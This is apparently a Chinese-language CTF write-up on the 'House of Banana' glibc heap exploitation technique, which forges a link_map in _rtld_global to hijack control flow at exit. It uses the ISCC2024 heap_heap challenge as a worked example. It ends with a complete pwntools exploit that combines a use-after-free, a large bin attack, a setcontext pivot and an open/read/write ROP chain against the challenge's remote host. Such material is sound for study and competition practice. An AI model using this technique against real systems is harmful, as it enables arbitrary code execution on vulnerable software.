原理解释
House of Banana 是一种针对 libc-2.31 及更高版本(如 2.32, 2.34 等)的堆利用技术。在这些版本中,传统的 __malloc_hook 和 __free_hook 逐渐被移除或变为只读,这使得传统的 Hook 劫持手段失效。
House of Banana 的核心在于劫持动态链接器(ld.so)中的 _rtld_global 结构体,通过伪造 link_map 链表,在程序退出(调用 exit 或从 main 返回)时触发 ROP 或执行任意函数。
| 特性 |
House of Banana |
House of Orange / Emma |
| 劫持目标 |
_rtld_global / link_map |
_IO_list_all (FILE 结构体) |
| 触发函数 |
_dl_fini |
_IO_cleanup / _IO_flush_all_lockp |
| 逻辑深度 |
更早(在 __exit_funcs 任务链执行中) |
更晚(在所有任务执行完,刷新缓冲区时) |
| 优势 |
绕过 2.34+ 后的各种 IO vtable 保护 |
适用于程序发生 Crash (Abort) 时的利用 |
完整调用逻辑
当一个程序(尤其是大型工程)退出时,它加载了很多动态库(如 libc.so, libssl.so)。这些库在加载时可能申请了全局资源或锁,必须在程序彻底消失前进行清理。
1 2 3 4 5 6 7 8 9 10 11 12 13
| main() 结束 ↓ exit() (程序退出函数) ↓ __run_exit_handlers() (执行所有退出钩子) ↓ __call_tls_dtors() (销毁线程局部存储) ↓ _dl_fini() 【⭐⭐⭐ 这就是 House of Banana 的核心函数!】 ↓ 清理所有动态库(_rtld_global._ns_loaded → link_map1 → link_map2 → link_map3...) ↓ 进程真正结束
|
_ns_loaded:链表头
link_map:每个库的信息结构体
_rtld_global 是动态链接器(ld.so)的心脏。它是一个巨大的结构体,记录了程序运行时的所有动态信息。其中最关键的成员是 _dl_ns(命名空间数组),而 _dl_ns[0]._ns_loaded 存放的就是所有已加载库的链表(link_map)头指针。
程序运行的时候可能是这样的
1 2 3 4 5
| >[pwn] ← 主程序 >[libc.so] ← C库 >[ld.so] ← 动态链接器 >[libm.so] ← 数学库(如果用到) >...
|
glibc 用一个链表:
1
| >link_map → link_map → link_map
|
每个节点代表一个“加载的 ELF”
eg:
1 2 3 4 5 6
| >_rtld_global._dl_ns[0]._ns_loaded >↓ >[link_map(pwn)] >l_next → [link_map(libc)] l_next → [link_map(ld.so)] l_next → NULL
|
只有调用dlmopen(LM_ID_NEWLM, ...)时才会
1 2 3 4 5
| >_rtld_global >├── _dl_ns[0] >│ └── [pwn] → [libc] >├── _dl_ns[1] >│ └── [另一套 libc]
|
第一阶段:从 __run_exit_handlers 切换赛道
exit() 调用 __run_exit_handlers。
- 它像翻书一样翻阅
__exit_funcs 任务列表。
- 读到
_dl_fini 这个条目时,控制权交给了 ld.so。
第二阶段:_dl_fini 寻踪(House of Banana 发生点)
进入 _dl_fini 后,它需要知道该清理哪些库。它不会自己去查内存,而是直接向“大管家”发问:
- 步骤 A (寻表):
_dl_fini 读取 _rtld_global._dl_ns[0]._ns_loaded。
- 正常逻辑:拿到真实的
link_map 链表。
- Banana 逻辑:由于 Large Bin Attack,它拿到的是堆地址。它从此认为你的堆就是链表头。
- 步骤 B (遍历与校验):
_dl_fini 开始遍历链表节点。
- 它读取
link_map->l_init_called。如果是 1,说明该库运行过,需要清理。
- 它读取
link_map->l_next。如果有值,说明后面还有库;如果是 NULL,说明这是最后一个库。
第三阶段:解析 link_map 内部的“动作指令”
一旦确定这个节点需要清理,_dl_fini 会通过 link_map 寻找析构函数(Destructors):
- 访问
l_info 指针数组:link_map 中有一个成员 l_info(偏移 0x40 开始)。它是一个指针数组,索引 26 对应 DT_FINI_ARRAY。
- 二级跳转解析:
- 它读取
l_info[26]。这应该是一个指向 Elf64_Dyn 结构体的指针。
- 从这个结构体+8读取
d_un.d_ptr(偏移量)。
- 最终地址计算:
清理函数数组地址 = l_addr (库基址) + d_ptr (函数数组偏移)。
- 此时,
_dl_fini 已经完全按照你在堆上布置的“虚假指令”算出了一个地址。
第四阶段:执行(Hijack 执行流)
最后,_dl_fini 认为自己找到了这个库的析构函数数组。它会从这个数组里取出第一个指针并执行: ((void (*) (void)) array[i]) (); 此时,控制流彻底落入攻击者手中(通常跳转到 setcontext 或 ROP)。
link_map伪造格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| _dl_fini (void) { ... struct link_map *maps[nloaded];
unsigned int i; struct link_map *l; assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL); for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next) if (l == l->l_real) assert (i < nloaded); maps[i] = l; l->l_idx = i; ++i; ++l->l_direct_opencount; } assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1); unsigned int nmaps = i; _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),NULL, true); __rtld_lock_unlock_recursive (GL(dl_load_lock));
for (i = 0; i < nmaps; ++i) { struct link_map *l = maps[i];
if (l->l_init_called) { l->l_init_called = 0;
if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) { if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",DSO_FILENAME (l->l_name),ns);
if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array =(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); }
.... }
|
p _rtld_global
p (struct link_map)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| struct link_map { Elf64_Addr l_addr; char *l_name; Elf64_Dyn *l_ld; struct link_map *l_next; struct link_map *l_prev; struct link_map *l_real; Lmid_t l_ns; struct libname_list *l_libname; Elf64_Dyn *l_info[77]; };
|
恢复l_next 字段原本的值,这样之后的 link_map 就不用再伪造了。(因为在遍历时需要有三个以上的link_map结构体)
将 l_real 字段改为伪造的 link_map 地址,以便满足 if (l == l->l_real) ,确保不会触发 assert
将 l_info[26] 的值设置为非空,为了满足 if (l->l_info[DT_FINI_ARRAY] != NULL)
将 l->l_info[26] 的值设置为 l->l_info[26] 的地址,那么 l->l_info[27] 中的值则是 array
将 l->l_info[28] 的值设置为 l->l_info[28] 的地址,那么 l->l_info[29] 中的值再除 8 ,则是最后的 i
攻击流程
1.泄露libc和堆地址
2.largebin攻击把_rtld_global移动到一个可控地址中
3.在堆地址中伪造_rtld_global结构体,在堆上放置orw
4.触发exit
例题精讲
ISCC2024的heap_heap
2.31的libc
![image]()
有一个uaf漏洞
经典泄露libc和堆地址
![image]()
part1
![image]()
part2
link_map 结构体的起始地址:0x7f3cd0454190(起始地址)
![image]()
![image]()
part3
setcontext将 rdx 指向的内存区域看作一个 ucontext_t 结构体。
从 setcontext + 0x3d 开始,它会执行一系列类似的汇编指令:
mov rsp, [rdx + 0xa0] (把 rdx+0xa0 地址处的内容给 rsp)
mov rbx, [rdx + 0x80]
mov rdi, [rdx + 0x68]
- … 以及你代码中看到的
rsi, rdx, rcx 等。
查看setcontext
![image]()
ret的地址是r10的0xa8处
![image]()
part4
当 read(0, heap + 0x940, 0x100) 执行完并准备返回(ret)时,CPU 会去当前的 RSP 指向的地方寻找返回地址。因为此时 RSP 已经在堆上了,所以程序会从堆上读取数据作为下一条指令执行。
![image]()
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from pwn import *
filename = './heapheap' context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] debug = 0 if debug : io = remote('182.92.237.102', 11000) else: io = process(filename) elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
libc = ELF('./libc-2.31.so')
def dbg(): gdb.attach(io) pause() def add(index, size): io.sendlineafter('choice:\n', '1') io.sendlineafter('index:\n', str(index)) io.sendlineafter('Size:\n', str(size))
def show(index): io.sendlineafter('choice:\n', '2') io.sendlineafter('index:\n', str(index)) io.recvuntil('context: \n') def edit(index, content): io.sendlineafter('choice:\n', '3') io.sendlineafter('index:\n', str(index)) io.sendafter('context: \n', content) def delete(index): io.sendlineafter('choice:\n', '4') io.sendlineafter('index:\n', str(index))
add(0, 0x428) add(1, 0x500) add(2, 0x418) delete(0) add(3, 0x500) show(0) large_430 = u64(io.recv(6).ljust(8, b'\x00')) libcbase = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook'] libc.address = libcbase rdi = libcbase + 0x23b6a rsi = libcbase + 0x2601f rdx = libcbase + 0x119431 ret = libcbase + 0x22679 success('libcbase =>> ' + hex(libcbase)) edit(0, b'A' * 0x10) show(0) io.recv(0x10) heap = u64(io.recv(6).ljust(8, b'\x00')) success('heap =>> ' + hex(heap)) # dbg()
# dbg() ld_remote_off = 0x6000 _rtld_global = libcbase +0x222060 success('_rtld_global =>> ' + hex(_rtld_global))
delete(2) edit(0, p64(large_430) + p64(large_430) + p64(heap) + p64(_rtld_global - 0x20)) add(4, 0x500) success('_rtld_global =>> ' + hex(_rtld_global)) # dbg() setcontext = libc.sym['setcontext'] + 0x3d
#前0x40是l_addr, l_next, l_real 等单体成员 link_map = p64(0) #l_addr,主程序基址,设为0方便后面做加法 link_map += p64(_rtld_global + 0x16e0) #l_next link_map += p64(0) #l_prev link_map += p64(heap + 0x940) #l_real。必须指向自己! link_map += p64(0) *4
# 👇 这里开始是 l_info[] link_map += p64(0) *24 link_map += p64(heap + 0xa50)#l_info[DT_FINI_ARRAY](索引 26),指向 fake Elf64_Dyn link_map += p64(heap + 0xa50)# link_map += p64(heap + 0xa60)# l_info[DT_FINI_ARRAYSZ](索引 28),指向fake_size link_map += p64(0x40)# fake Dyn->d_un.d_val(size = 0x40),表示 array 有 0x40 / 8 = 8 个函数 link_map += b'flag\x00\x00\x00\x00' link_map += p64(0) link_map += p64(setcontext)# array[6],_dl_fini 最终调用这里 link_map += p64(ret)# array[7],栈对齐(有时需要)
#👇 这里开始是setcontext link_map += p64(0) * 12 link_map += p64(0)#rdi link_map += p64(heap + 0x940)#rsi link_map += p64(0) * 2 link_map += p64(0x100)#rdx link_map += p64(0) * 2 link_map += p64(heap + 0x940)#rsp link_map += p64(libc.sym['read'])#ret link_map += p64(0) * 36 link_map += p64(0xf00000000)# 👉 sigmask edit(2, link_map) # dbg()
io.sendlineafter('choice:\n', '5') pay=p64(rdi) + p64(heap + 0xa70)+p64(rsi) + p64(0) + p64(libc.sym['open']) pay+=p64(rdi) + p64(3) + p64(rsi) + p64(heap)+p64(rdx) + p64(0x50) + p64(0) + p64(libc.sym['read']) pay+=p64(rdi) + p64(1) + p64(rsi) + p64(heap)+p64(rdx) + p64(0x50) + p64(0) + p64(libc.sym['write'])
io.send(pay) io.interactive()
|